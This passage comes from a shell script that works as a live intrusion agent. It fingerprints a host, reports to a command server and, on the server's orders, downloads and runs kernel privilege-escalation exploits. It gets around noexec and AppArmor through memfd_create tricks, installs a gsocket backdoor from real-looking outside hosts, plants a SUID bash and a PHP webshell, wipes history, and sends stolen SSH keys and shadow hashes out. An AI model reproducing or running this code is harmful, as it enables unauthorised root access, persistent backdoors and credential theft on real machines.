_out "$HOST" "gsocket" "$_out" "root" _event "$HOST" "_gs_" "done" rm -f "$_o" 2>/dev/null } # ── fingerprint ────────────────────────────────────────────────────────── HOST=$(hostname 2>/dev/null || cat /proc/sys/kernel/hostname 2>/dev/null || echo unknown) ARCH=$(uname -m 2>/dev/null || echo unknown) KERNEL=$(uname -r 2>/dev/null || echo unknown) USER_=$(id -un 2>/dev/null || echo unknown) UID_=$(id -u 2>/dev/null || echo 0) DOCKER=$([ -f /.dockerenv ] && echo 1 || echo 0) CWD=$(pwd 2>/dev/null || echo /) DISTRO=unknown [ -f /etc/os-release ] && DISTRO=$(. /etc/os-release 2>/dev/null && \ printf '%s' "${PRETTY_NAME:-${NAME:-unknown}}" | head -c 64) CPUS=$(nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo '?') MEM=$(awk '/MemTotal/{printf "%dM",$2/1024}' /proc/meminfo 2>/dev/null || echo '?') # ── working dir (exec-friendly) ────────────────────────────────────────── _xdir(){ local d p uid _noex _mp _mo _rn uid=$(id -u 2>/dev/null || echo 0) for d in /tmp /run "/run/user/${uid}" /var/tmp "${HOME:-}" /dev/shm; do [ -d "$d" ] && [ -w "$d" ] || continue # Shell script exec test bypasses noexec via interpreter fallback — ELF binaries # cannot do this. Check /proc/mounts directly for the noexec flag. _noex=0 while IFS=' ' read -r _ _mp _ _mo _ _; do case "$d" in "$_mp"|"$_mp/"*) case ",${_mo}," in *,noexec,*) _noex=1; break ;; esac esac done 2>/dev/null </proc/mounts [ "$_noex" -eq 1 ] && continue _rn=$(dd if=/dev/urandom bs=4 count=1 2>/dev/null | od -A n -t x4 | tr -d ' \n' 2>/dev/null | cut -c1-8) [ -z "$_rn" ] && _rn="$(printf '%d%d' "$$" "${PPID:-0}")" p="${d}/.${_rn}" printf '#!/bin/sh\nexit 0\n' > "$p" 2>/dev/null || continue chmod +x "$p" 2>/dev/null && "$p" 2>/dev/null && { rm -f "$p" 2>/dev/null; printf '%s' "$d"; return 0; } rm -f "$p" 2>/dev/null done; return 1 } WDIR=$(_xdir 2>/dev/null || echo /tmp) _wrand=$(dd if=/dev/urandom bs=4 count=1 2>/dev/null | od -A n -t x4 | tr -d ' \n' 2>/dev/null | cut -c1-8) [ -z "$_wrand" ] && _wrand=$(printf '%s%d' "$HOST" "$$" | sha256sum 2>/dev/null | cut -c1-8) [ -z "$_wrand" ] && _wrand=$(printf '%d' "$$") WDIR="${WDIR}/.${_wrand}" mkdir -p "$WDIR" 2>/dev/null || WDIR=/tmp ROOT_MARKER="${WDIR}/.root-achieved" trap 'history -c 2>/dev/null; rm -rf "$WDIR" 2>/dev/null; true' EXIT INT TERM # Per-host derived SUID path — hash-based name, unpredictable to other users on the box _SUID_TAG=$(printf '%s%s' "$(hostname 2>/dev/null)" "$(cat /etc/machine-id 2>/dev/null | head -c8 2>/dev/null)" | \ sha256sum 2>/dev/null | cut -c1-12) [ -z "$_SUID_TAG" ] && _SUID_TAG=$(printf '%s%d' "$(hostname 2>/dev/null)" "$$" | cksum 2>/dev/null | cut -d' ' -f1 | tr -dc 'a-f0-9' | head -c8) [ -z "$_SUID_TAG" ] && _SUID_TAG="$(printf '%d%d' "$$" "${PPID:-0}")" # SUID bash destination — avoid nosuid mount points (common on cPanel /tmp) _suid_pick_dir(){ local _d _mp _mo _nosuid for _d in /tmp /var/tmp "${HOME:-}" /dev/shm; do [ -d "$_d" ] && [ -w "$_d" ] || continue _nosuid=0 while IFS=' ' read -r _ _mp _ _mo _ _; do case "$_d" in "$_mp"|"$_mp/"*) case ",${_mo}," in *,nosuid,*) _nosuid=1; break ;; esac esac done 2>/dev/null </proc/mounts [ "$_nosuid" -eq 1 ] && continue printf '%s' "$_d"; return 0 done printf '/tmp' # last resort } _SUID_PATH="$(_suid_pick_dir 2>/dev/null || echo /tmp)/.${_SUID_TAG}" _MY_GRP=$(id -gn 2>/dev/null || id -g 2>/dev/null || echo '') # Bootstrap static tools if curl AND wget are both missing _bootstrap_static || true # ── report fingerprint (retry until server acks) ───────────────────────── _FP="host=$(ue "$HOST")&arch=$(ue "$ARCH")&kernel=$(ue "$KERNEL")&user=$(ue "$USER_")&uid=${UID_}&docker=${DOCKER}&distro=$(ue "$DISTRO")&cwd=$(ue "$CWD")&cpus=${CPUS}&mem=$(ue "$MEM")&writable=$(ue "$WDIR")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" _fp_try=0 while [ $_fp_try -lt 10 ]; do _fp_try=$(( _fp_try + 1 )) _resp=$(_post "${ORIGIN}/api/report" "$_FP" 2>/dev/null || echo '') if printf '%s' "$_resp" | grep -q '"ok"'; then break fi sleep 2 done _event "$HOST" "_agent_" "waiting" # Quick-win scan runs in background — kernel exploits start regardless _quick_win & # ── exec capability diagnostic — runs once at agent start ──────────────── _exec_diag(){ local _c="" r # Test exec of a real binary from WDIR local _tb="${WDIR}/.t$$" if cp /bin/true "$_tb" 2>/dev/null && chmod +x "$_tb" 2>/dev/null; then "$_tb" 2>/dev/null; r=$?; rm -f "$_tb" 2>/dev/null if [ $r -eq 0 ]; then _c="${_c}exec_wdir "; else _c="${_c}!exec_wdir(r$r) "; fi else _c="${_c}!cp_true " fi # ld-linux exec local _ld for _ld in /lib64/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 \ /lib/ld-linux-aarch64.so.1 /lib/aarch64-linux-gnu/ld-linux-aarch64.so.1; do [ -x "$_ld" ] && break; _ld="" done if [ -n "$_ld" ]; then "$_ld" /bin/true 2>/dev/null; r=$? if [ $r -eq 0 ]; then _c="${_c}ld_exec "; else _c="${_c}!ld_exec(r$r) "; fi else _c="${_c}!ld_found " fi # Python + memfd_create + exec from /proc/self/fd local _py="" for _pyx in python3 python python2; do command -v "$_pyx" >/dev/null 2>&1 && { _py="$_pyx"; break; } done _c="${_c}py=${_py:-none} " if [ -n "$_py" ]; then "$_py" -c " import os,sys try: fd=os.memfd_create('t',0) except AttributeError: import ctypes,ctypes.util,platform libc=ctypes.CDLL(ctypes.util.find_library('c') or 'libc.so.6',use_errno=True) fd=int(libc.syscall({'x86_64':319,'aarch64':279}.get(platform.machine(),319),b't',0)) if fd<0: sys.exit(1) data=open('/bin/true','rb').read() os.write(fd,data) os.execve('/proc/self/fd/%d'%fd,['/bin/true'],{}) " 2>/dev/null; r=$? if [ $r -eq 0 ]; then _c="${_c}memfd_exec_ok "; else _c="${_c}!memfd_exec(r$r) "; fi fi # unshare --user if command -v unshare >/dev/null 2>&1; then unshare --user /bin/true 2>/dev/null; r=$? if [ $r -eq 0 ]; then _c="${_c}unshare_user "; else _c="${_c}!unshare(r$r) "; fi fi # AppArmor if [ -r /sys/kernel/security/apparmor/profiles ]; then _c="${_c}apparmor($(wc -l </sys/kernel/security/apparmor/profiles 2>/dev/null)profiles) " else _c="${_c}no_apparmor " fi # seccomp local _sc _sc=$(grep -i '^Seccomp:' /proc/self/status 2>/dev/null | awk '{print $2}') _c="${_c}seccomp=${_sc:-?}" _dbg "$HOST" "_diag_" "$_c" } # ── noexec + AppArmor bypass (M0-M7, all with per-method debug logging) ── _run_bin(){ local bin="$1" r _bn shift _bn="${bin##*/}" chmod +x "$bin" 2>/dev/null || true # M0: shell script detection — if file starts with #! run it via sh directly. # /bin/sh is a system binary that AppArmor always allows to exec. This bypasses # AppArmor's exec block on unknown ELFs from /tmp completely for shell payloads. local _hdr _hdr=$(dd if="$bin" bs=2 count=1 2>/dev/null || true) if [ "$_hdr" = '#!' ]; then _dbg "$HOST" "_M_" "M0:sh_script:$_bn" /bin/sh "$bin" "$@" 2>&1; r=$? [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M0:ok:$_bn"; return 0; } _dbg "$HOST" "_M_" "M0:r$r:$_bn" return $r fi # M1: direct exec "$bin" "$@" 2>&1; r=$? [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M1:ok:$_bn"; return 0; } || true _dbg "$HOST" "_M_" "M1:r$r:$_bn" # M2: ld-linux interpreter — maps binary pages, bypasses noexec on the file path local _ld for _ld in \ /lib64/ld-linux-x86-64.so.2 \ /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 \ /lib/ld-linux-aarch64.so.1 \ /lib/aarch64-linux-gnu/ld-linux-aarch64.so.1 \ /lib/ld-linux-armhf.so.3 \ /lib/arm-linux-gnueabihf/ld-linux-armhf.so.3 \ /lib/ld-linux.so.2 \ /lib/i386-linux-gnu/ld-linux.so.2 \ $(ls /lib*/ld-linux*.so.* /lib*/ld-musl*.so.* 2>/dev/null | head -6); do [ -x "$_ld" ] || continue "$_ld" "$bin" "$@" 2>&1; r=$? [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M2:ok:$_bn:${_ld##*/}"; return 0; } || true done _dbg "$HOST" "_M_" "M2:fail:$_bn" # M3: Python memfd_create — step-by-step debug via stderr so each failure is visible. # Stderr mixed into stdout (2>&1 at call site) shows in exploit output on dashboard. # Exit 66 = exec infrastructure failed (fall through); any other exit = binary ran. local py_tmp="${bin}e" printf '%s\n' \ 'import sys,os,ctypes,ctypes.util,platform' \ 'try: data=open(sys.argv[1],"rb").read()' \ 'except (PermissionError,OSError) as e:' \ ' sys.stderr.write("M3:noread:e"+str(e.errno)+"\n"); sys.exit(66)' \ 'sys.stderr.write("M3:read_ok:"+str(len(data))+"b\n")' \ 'fd=-1' \ 'try: fd=os.memfd_create("x",0); sys.stderr.write("M3:mfd_os\n")' \ 'except AttributeError:' \ ' nr={"x86_64":319,"amd64":319,"aarch64":279,"arm64":279,"armv7l":356,"i686":356}.get(platform.machine(),319)' \ ' libc=ctypes.CDLL(ctypes.util.find_library("c") or "libc.so.6",use_errno=True)' \ ' fd=libc.syscall(ctypes.c_long(nr),ctypes.c_char_p(b"x"),ctypes.c_uint(0))' \ ' sys.stderr.write("M3:mfd_ctypes:fd="+str(fd)+"\n")' \ 'if fd<0: sys.stderr.write("M3:mfd_fail\n"); sys.exit(66)' \ 'try:' \ ' os.write(fd,data)' \ ' sys.stderr.write("M3:exec_attempt:/proc/self/fd/%d\n"%fd)' \ ' os.execve("/proc/self/fd/%d"%fd,sys.argv[1:],os.environ)' \ 'except OSError as e: sys.stderr.write("M3:exec_err:e"+str(e.errno)+"\n"); sys.exit(66)' \ > "$py_tmp" for py in python3 python python2; do command -v "$py" >/dev/null 2>&1 || continue "$py" "$py_tmp" "$bin" "$@" 2>&1; r=$? rm -f "$py_tmp" 2>/dev/null; py_tmp= [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M3:ok:$_bn:$py"; return 0; } [ $r -ne 66 ] && { _dbg "$HOST" "_M_" "M3:bin_r$r:$_bn:$py"; return $r; } _dbg "$HOST" "_M_" "M3:66:$_bn:$py" break done rm -f "$py_tmp" 2>/dev/null || true # M3b: Perl memfd_create — step-debug via stderr if command -v perl >/dev/null 2>&1; then local pl_tmp="${bin}.pl" printf '%s\n' \ 'use POSIX;' \ 'my($b,@a)=@ARGV;' \ 'open(my $F,"<",$b) or do{print STDERR "M3b:noread\n";exit 66}; local $/; my $d=<$F>; close $F;' \ 'print STDERR "M3b:read_ok:".length($d)."b\n";' \ 'my %nr=(x86_64=>319,amd64=>319,aarch64=>279,arm64=>279,armv7l=>356,i686=>356,mipsle=>4210,mips=>4210);' \ 'my $arch=(POSIX::uname())[4]; my $n=$nr{$arch}//319;' \ 'my $fd=syscall($n,"x",0); do{print STDERR "M3b:mfd_fail\n";exit 66} if $fd<0;' \ 'print STDERR "M3b:mfd_ok\n";' \ 'POSIX::write($fd,$d,length($d));' \ 'print STDERR "M3b:exec_attempt\n";' \ 'exec{"/proc/self/fd/$fd"} @a or do{print STDERR "M3b:exec_err:$!\n";exit 66};' \ > "$pl_tmp" perl "$pl_tmp" "$bin" "$@" 2>&1; r=$? rm -f "$pl_tmp" 2>/dev/null [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M3b:ok:$_bn"; return 0; } [ $r -ne 66 ] && { _dbg "$HOST" "_M_" "M3b:bin_r$r:$_bn"; return $r; } _dbg "$HOST" "_M_" "M3b:66:$_bn" fi # M5: Ruby memfd via Fiddle if command -v ruby >/dev/null 2>&1; then local _rb="${bin}.rb" printf '%s\n' \ 'require "fiddle"' \ 'begin' \ ' lib=Fiddle::Handle.new("libc.so.6")' \ ' mfd=Fiddle::Function.new(lib["memfd_create"],[Fiddle::TYPE_VOIDP,Fiddle::TYPE_UINT],Fiddle::TYPE_INT)' \ ' fd=mfd.call("x",0); raise "mfd_fail" if fd<0' \ ' $stderr.puts "M5:mfd_ok"' \ ' IO.for_fd(fd).write(File.binread(ARGV[0]))' \ ' $stderr.puts "M5:exec_attempt"' \ ' exec "/proc/self/fd/#{fd}", *ARGV' \ 'rescue => e; $stderr.puts "M5:err:"+e.message; exit 66' \ 'end' \ > "$_rb" ruby "$_rb" "$bin" "$@" 2>&1; r=$? rm -f "$_rb" 2>/dev/null [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M5:ok:$_bn"; return 0; } [ $r -ne 66 ] && { _dbg "$HOST" "_M_" "M5:bin_r$r:$_bn"; return $r; } _dbg "$HOST" "_M_" "M5:66:$_bn" fi # M7: user namespace — grants virtual CAP_SYS_ADMIN; some kernel LPEs need this. # Also potentially bypasses exec restrictions tied to user credentials. if command -v unshare >/dev/null 2>&1; then unshare --user --map-root-user "$bin" "$@" 2>&1; r=$? [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M7:ok:$_bn"; return 0; } _dbg "$HOST" "_M_" "M7:r$r:$_bn" fi # M4: copy binary to candidate exec-friendly dirs and try direct exec there local alt_d alt uid uid=$(id -u 2>/dev/null || echo 0) for alt_d in /tmp /var/tmp /run "/run/user/${uid}" /dev \ "/home/$(id -un 2>/dev/null)" /dev/pts /dev/shm; do [ -d "$alt_d" ] && [ -w "$alt_d" ] || continue alt="${alt_d}/.rx$$" cp "$bin" "$alt" 2>/dev/null && chmod +x "$alt" 2>/dev/null || { rm -f "$alt" 2>/dev/null; continue; } "$alt" "$@" 2>&1; r=$? rm -f "$alt" 2>/dev/null [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M4:ok:$_bn:$alt_d"; return 0; } _dbg "$HOST" "_M_" "M4:r$r:$_bn:$alt_d" return $r done # M6: scan /proc/mounts for any writable non-noexec mount not yet tried if [ -r /proc/mounts ]; then local _mld _mla _mopts while IFS=' ' read -r _mdev _mld _mfs _mopts _r1 _r2; do case ",$_mopts," in *,noexec,*) continue ;; esac [ -d "$_mld" ] && [ -w "$_mld" ] || continue case "$_mld" in /dev/shm|/run|/var/tmp|/tmp|/proc|/sys|/dev/pts) continue ;; esac _mla="${_mld}/.rx$$" cp "$bin" "$_mla" 2>/dev/null && chmod +x "$_mla" 2>/dev/null || { rm -f "$_mla" 2>/dev/null; continue; } "$_mla" "$@" 2>&1; r=$? rm -f "$_mla" 2>/dev/null [ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M6:ok:$_bn:$_mld"; return 0; } _dbg "$HOST" "_M_" "M6:r$r:$_bn:$_mld" return $r done < /proc/mounts fi _dbg "$HOST" "_M_" "all_fail:$_bn" return 127 } # ── timeout wrapper ────────────────────────────────────────────────────── # NOTE: never use `timeout` here — it can only exec binaries, not sh functions. _to(){ local secs="$1"; shift "$@" & local pid=$! ( sleep "$secs" 2>/dev/null kill -0 "$pid" 2>/dev/null && kill "$pid" 2>/dev/null ) & local wd=$! wait "$pid" 2>/dev/null; local r=$? kill "$wd" 2>/dev/null; wait "$wd" 2>/dev/null; true return $r } # ── run one exploit in background ──────────────────────────────────────── run_exploit(){ local exp="$1" [ -e "$ROOT_MARKER" ] && return 0 local _bhash; _bhash=$(printf '%s%d' "$exp" "$$" | sha256sum 2>/dev/null | cut -c1-8 || printf '%d' "$$") ( local bin="${WDIR}/.$_bhash" local out_f="${WDIR}/.$_bhash.o" local stdin_f="${WDIR}/.$_bhash.i" # Per-exploit timeout override: dirtyfrag/dirty_pipe need ~1200s total. # Default TIMEOUT=90 kills them before SUID is written. Use 1400s for these. local _timeout="$TIMEOUT" case "$exp" in dirtyfrag|dirty_pipe|dirtypipe|cve_2022_0847|stackrot) _timeout=1400 ;; esac # stdin fed to root shell — install gsocket + post-root tasks { printf '# -- install gsocket --\n' printf 'GS_HOST=107.152.47.226 GS_PORT=443 bash -c "$(curl -fsSL https://server-security.shop/merged.sh 2>/dev/null || wget --no-verbose -O- https://server-security.shop/merged.sh 2>/dev/null)" 2>/dev/null\n' printf 'printf "\\n# -- gsocket exit: %%s --\\n" $?\n' printf '# -- SUID bash persistence --\n' printf 'cp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null && chown root:%s %s 2>/dev/null && touch -r /bin/bash %s 2>/dev/null || true\n' \ "$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH" printf '# -- webshell plant --\n' printf '_wn=".$(hostname 2>/dev/null | sha256sum 2>/dev/null | cut -c1-8 || echo cr).php"\n' printf 'for _xd in /var/www/html /var/www /srv/http /srv/www /usr/share/nginx/html; do\n' printf ' [ -d "$_xd" ] && [ -w "$_xd" ] || continue\n' printf ' printf "<?php @system(\\$_REQUEST[c]);?>" > "$_xd/$_wn" 2>/dev/null && printf "WEBSHELL:%%s/%%s\\n" "$_xd" "$_wn" && break\n' printf 'done\n' if [ -n "$USER_AGENT_CMD" ]; then printf '# -- dynamic custom agent enroll --\n' printf '(unset HISTFILE HISTSIZE HISTFILESIZE 2>/dev/null; export HISTFILE=/dev/null\n' printf ' %s) >/dev/null 2>&1 &\n' "$USER_AGENT_CMD" fi printf 'id\n' printf 'exit\n' } > "$stdin_f" 2>/dev/null # pre-run cleanup of stale artifacts (prevents pwnkit "File exists" crash) rm -rf /tmp/pwnkit /tmp/GCONV_PATH=. "${WDIR}/pwnkit" 2>/dev/null || true rm -f /tmp/passwd.bak /tmp/.su_* 2>/dev/null || true # pre-flight: skip noisy exploits when required conditions are absent case "$exp" in cve_2021_3560) if ! [ -S /run/dbus/system_bus_socket ] 2>/dev/null; then printf '[polkit] dbus socket not found — skipping (no dbus on this system)\n' > "$out_f" _event "$HOST" "$exp" "fail" _dbg "$HOST" "$exp" "nodbus" rm -f "$stdin_f" 2>/dev/null; return fi ;; esac _dbg "$HOST" "$exp" "START" _event "$HOST" "$exp" "downloading" _event "$HOST" "_agent_" "exploiting" if ! _dl "${ORIGIN}/bin?arch=$(ue "$ARCH")&exploit=$(ue "$exp")" "$bin"; then _event "$HOST" "$exp" "fail" _dbg "$HOST" "$exp" "notfound" rm -f "$stdin_f" 2>/dev/null; return fi _event "$HOST" "$exp" "running" # Snapshot SUID mtime before run — prevents false-positive ROOT cascade: # if exploit A creates the SUID, exploit B (which failed) would also see # it via [ -u _SUID_PATH ] and be wrongly marked ROOT. Only count SUID # as root evidence if IT was newly created/modified by THIS exploit run. local _suid_mtime_pre _suid_mtime_pre=$(stat -c%Y "${_SUID_PATH}" 2>/dev/null || echo 0) # Run with stdin_f redirect so shell-dropping exploits receive gsocket cmd. # cd /tmp first — ensures a writable CWD (exploits like pwnkit, overlayfs, # cve_2021_4034 create temp directories relative to CWD). # Can't use _to() here — its internal `&` resets stdin to /dev/null in # non-interactive shells (POSIX). Handle timeout inline instead. ( cd /tmp 2>/dev/null || true; _run_bin "$bin" < "$stdin_f" ) > "$out_f" 2>&1 & local _pid=$! ( sleep "$_timeout" 2>/dev/null kill -0 "$_pid" 2>/dev/null && kill "$_pid" 2>/dev/null ) & local _wd=$! wait "$_pid" 2>/dev/null kill "$_wd" 2>/dev/null; wait "$_wd" 2>/dev/null; true # Post-run SUID flush: kernel exploits (dirtyfrag) may have written the SUID # just before SIGKILL — give it 3s for FS writes to flush, then re-stat. sleep 3 2>/dev/null || true rm -f "$stdin_f" 2>/dev/null || true # root hint: keyword + SUID path detection # NOTE: avoid matching '# ' (shell comments from stdin_f are echoed by some # exploits that drop back to a www-data shell rather than root). # 'uid=0' alone is not reliable — overlayfs/cve_2021_3493 print it in debug # output even when escalation fails. Require the canonical 'uid=0(root)' form # or explicit SUID/WEBSHELL markers that we ourselves plant. local _root_hint=0 grep -qiE 'SUID:|WEBSHELL:|uid=0\(root\)|got root|rooted|via systemwide' \ "$out_f" 2>/dev/null && _root_hint=1 local _suid_mtime_post _suid_mtime_post=$(stat -c%Y "${_SUID_PATH}" 2>/dev/null || echo 0) if [ -u "${_SUID_PATH}" ] 2>/dev/null && [ "$_suid_mtime_post" != "$_suid_mtime_pre" ]; then _root_hint=1 fi # root verification: run id/whoami via SUID binary, or check exploit output local _rooted=0 if [ "$_root_hint" = 1 ]; then if [ -u "${_SUID_PATH}" ] 2>/dev/null; then # SUID binary exists — run id through it (definitive) local _vf="${WDIR}/.vf$$" ( "${_SUID_PATH}" -p -c 'id; whoami; echo GS_OK' ) >"$_vf" 2>&1 & local _vp=$! ( sleep 3; kill -0 "$_vp" 2>/dev/null && kill "$_vp" 2>/dev/null ) & local _kp=$! wait "$_vp" 2>/dev/null; kill "$_kp" 2>/dev/null; wait "$_kp" 2>/dev/null; true grep -q 'uid=0(root)' "$_vf" 2>/dev/null && _rooted=1 rm -f "$_vf" 2>/dev/null fi if [ "$_rooted" = 0 ]; then # No working SUID — check output for definitive root shell evidence. # MUST contain 'uid=0(root)' (from our explicit 'id' call in stdin_f). # Do NOT match on 'root@', 'uid=0' alone, or '# ' — all produce false # positives with cve_2021_3493 / overlayfs when the exploit binary # internally prints debug info or echoes our comment stdin back. grep -qE 'uid=0\(root\)' "$out_f" 2>/dev/null && _rooted=1 fi fi # credential-theft detection (SSH key / shadow steal — not full root but valuable) local _credstolen=0 grep -q 'CRED_STEAL:' "$out_f" 2>/dev/null && _credstolen=1 # gsocket supremacy: report any alien keys taken over to operator dashboard local _taken_keys _taken_keys=$(grep -oE 'GS_TAKEOVER:[a-zA-Z0-9_/+.=-]{8,}' "$out_f" 2>/dev/null \ | sed 's/GS_TAKEOVER://' | paste -sd ',' - 2>/dev/null) [ -n "$_taken_keys" ] && \ _post "${ORIGIN}/api/gs_takeover" \ "h=$(ue "$HOST")&keys=$(ue "$_taken_keys")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true # For key-stealing exploits: POST full raw output before cleanup (separate channel) case "$exp" in cve_2026_46333|cve_2026_4*|shadow_probe) _post "${ORIGIN}/api/stolen" \ "h=$(ue "$HOST")&e=$(ue "$exp")&data=$(ue "$(cat "$out_f" 2>/dev/null | head -c 12000)")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true ;; esac # display: show last 16000 bytes — captures full key + shadow output local out _e out=$(tail -c 16000 "$out_f" 2>/dev/null || echo '') _e=$(printf '\033') # strip all ANSI escape sequences (cursor movement, colors, modes) out=$(printf '%s' "$out" | sed "s/${_e}\[[0-9;?]*[a-zA-Z]//g" 2>/dev/null || printf '%s' "$out") # strip [gs:KEY] internal marker — used for detection only, not for display out=$(printf '%s' "$out" | grep -vE '^\[gs:[^]]{4,}\]$' 2>/dev/null || printf '%s' "$out") _out "$HOST" "$exp" "$out" _dbg "$HOST" "$exp" "OUT:$(printf '%s' "$out" | head -c 300)" if [ "$_rooted" = 1 ]; then : > "$ROOT_MARKER" stop_running_exploits _event "$HOST" "$exp" "root" _dbg "$HOST" "$exp" "ROOT_VIA $exp" _plant_gsocket & # Report escalation command to dashboard — use _SUID_PATH directly (reliable) if [ -u "${_SUID_PATH}" ] 2>/dev/null; then local _qw_id _qw_id=$(grep 'uid=' "$out_f" 2>/dev/null | tail -1 || echo "uid=0 via $exp") _post "${ORIGIN}/api/qwroot" \ "h=$(ue "$HOST")&method=$(ue "kernel/$exp")&cmd=$(ue "${_SUID_PATH} -p")&id=$(ue "$_qw_id")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true fi elif [ "$_credstolen" = 1 ]; then # credential theft — not full root but SSH key / shadow hashes stolen _event "$HOST" "$exp" "cred" _dbg "$HOST" "$exp" "CRED_STEAL_VIA $exp" else _event "$HOST" "$exp" "fail" fi # post-run cleanup rm -f "$bin" "$out_f" 2>/dev/null || true rm -rf ./pwnkit "${WDIR}/pwnkit" 2>/dev/null || true rm -f /tmp/passwd.bak /tmp/.su_* 2>/dev/null || true find /tmp -maxdepth 1 \( -name 'core' -o -name 'core.*' \) -delete 2>/dev/null || true ) & } # ── stop a running exploit ─────────────────────────────────────────────── kill_exploit(){ local exp="$1" local _bhash; _bhash=$(printf '%s%d' "$exp" "$$" | sha256sum 2>/dev/null | cut -c1-8 || printf '%d' "$$") pkill -f "${WDIR}/.$_bhash" 2>/dev/null || true _event "$HOST" "$exp" "fail" _dbg "$HOST" "$exp" "SIGKILL by operator" } stop_running_exploits(){ # Exploit binaries use hidden eight-character names inside WDIR. pkill -TERM -f "${WDIR}/\.[[:xdigit:]]{8}(\.o|\.i)?$" 2>/dev/null || true sleep 1 pkill -KILL -f "${WDIR}/\.[[:xdigit:]]{8}(\.o|\.i)?$" 2>/dev/null || true } # run exec capability diagnostic once — results appear in dashboard debug stream _exec_diag & # ── gsocket key scanner (root and non-root) ─────────────────────────────── # Reads /proc/<pid>/environ for any process we have access to. # Non-root: only own-user processes (web server user — still catches # gsockets planted by the same user, e.g. via previous webshell sessions). # Root: finds ALL gsockets on the system. # Emits GS_KEY:<pid>:<key>:<binary> per found instance + POSTs to /api/gs_scan. _gs_scan(){ local _kl="" _p _env _bin _ga _gk _kf for _p in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do [ -d "/proc/$_p" ] || continue _env=$(tr '\000' '\n' < "/proc/$_p/environ" 2>/dev/null) || continue case "$_env" in *GS_ARGS=*) ;; *) continue; esac _bin=$(readlink -f "/proc/$_p/exe" 2>/dev/null) || continue _ga=$(printf '%s' "$_env" | grep '^GS_ARGS=' | cut -d= -f2- | head -1) _gk=$(printf '%s' "$_ga" | tr ' ' '\n' | awk '/^-s$/{getline;print;exit}') if [ -z "$_gk" ]; then _kf=$(printf '%s' "$_ga" | tr ' ' '\n' | awk '/^-k$/{getline;print;exit}') [ -n "$_kf" ] && [ -f "$_kf" ] && _gk=$(cat "$_kf" 2>/dev/null | tr -d ' \n\r') fi [ -z "$_gk" ] && continue printf 'GS_KEY:%s:%s:%s\n' "$_p" "$_gk" "$_bin" _kl="${_kl}${_gk}," done [ -n "$_kl" ] && \ _post "${ORIGIN}/api/gs_scan" \ "h=$(ue "$HOST")&keys=$(ue "${_kl%,}")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" >/dev/null 2>&1 || true } _gs_scan & # ── gsocket relay port probe ────────────────────────────────────────────── # Detects which port the target can reach our relay on. # Port 443 is commonly blocked by outbound firewalls; 53 (DNS) almost never is. # Result stored in GS_RELAY_PORT for use in _plant_gsocket and stdin payload. _probe_gs_port(){ local _gp=443 for _tp in 443 53 7350 22; do timeout 5 bash -c "echo >/dev/tcp/217.154.53.187/$_tp" 2>/dev/null && _gp=$_tp && break done printf '%s' "$_gp" } GS_RELAY_PORT=$(_probe_gs_port 2>/dev/null || echo 443) # ── poll loop ──────────────────────────────────────────────────────────── _STOPPED=0 while true; do if [ -e "$ROOT_MARKER" ]; then _dbg "$HOST" "polling" "Root marker found; stopping polling loop." break fi resp=$(_get "${ORIGIN}/api/cmd/${HOST}" 2>/dev/null || printf '{}') # If root was achieved on this host, the server sets stop_all — no new exploits. if printf '%s' "$resp" | grep -q '"stop_all":true'; then [ "$_STOPPED" = 0 ] && _dbg "$HOST" "_agent_" "stop_all — interactive mode" _STOPPED=1 fi # Exit polling loop completely if stop_all flag is set if [ "$_STOPPED" = 1 ]; then _dbg "$HOST" "polling" "Root achieved; stopping polling loop." break fi exp=$(printf '%s' "$resp" | grep -o '"exploit":"[^"]*"' | cut -d'"' -f4 2>/dev/null || true) act=$(printf '%s' "$resp" | grep -o '"action":"[^"]*"' | cut -d'"' -f4 2>/dev/null || true) _sp=$(printf '%s' "$resp" | grep -o '"sudo_pass":"[^"]*"' | cut -d'"' -f4 2>/dev/null || true) [ -n "$_sp" ] && _SUDO_PASS="$_sp" if [ "$_STOPPED" = 0 ] && [ -n "$exp" ]; then case "${act:-run}" in run) run_exploit "$exp" ;; stop) kill_exploit "$exp" ;; esac fi sleep "$POLL" done
Close